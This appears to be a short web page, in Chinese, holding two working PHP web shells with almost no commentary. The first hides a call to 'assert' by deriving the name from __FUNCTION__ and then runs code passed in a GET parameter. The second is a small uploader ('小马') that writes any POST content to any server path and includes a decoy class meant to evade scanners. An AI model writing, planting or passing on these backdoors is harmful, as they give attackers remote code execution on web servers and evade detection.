<?php class test{ function assert(){ // 方式一 //$a = getenv('HTTP_E'); //return $a; // 方式二 $a = substr(__FUNCTION__,0,6); return $a; } function foo(&$var) { $var = $_GET['a']; return $var; } } $a = new test(); $c = $a->assert(); $d = ""; $d = $a->foo($d); $c($d);?>
<?php
header("content-type:text/html;charset=utf-8");
class test
{
function test()
{
return '干扰类';
}
}
@$rode = $_POST['rode'];
@$content = $_POST['content'];
if(@file_put_contents($rode,$content))
{
echo '上传成功';
}
?>
<html>
<body>
<form action='' method='POST'>
小马路径<?php echo ':' . __FILE__;?><br>
上传路径:<input type='text' name='rode'/><br>
内容:<textarea name='content'></textarea><br>
<input type='submit' value='write'/>
</form>
</body>
</html>
好文推荐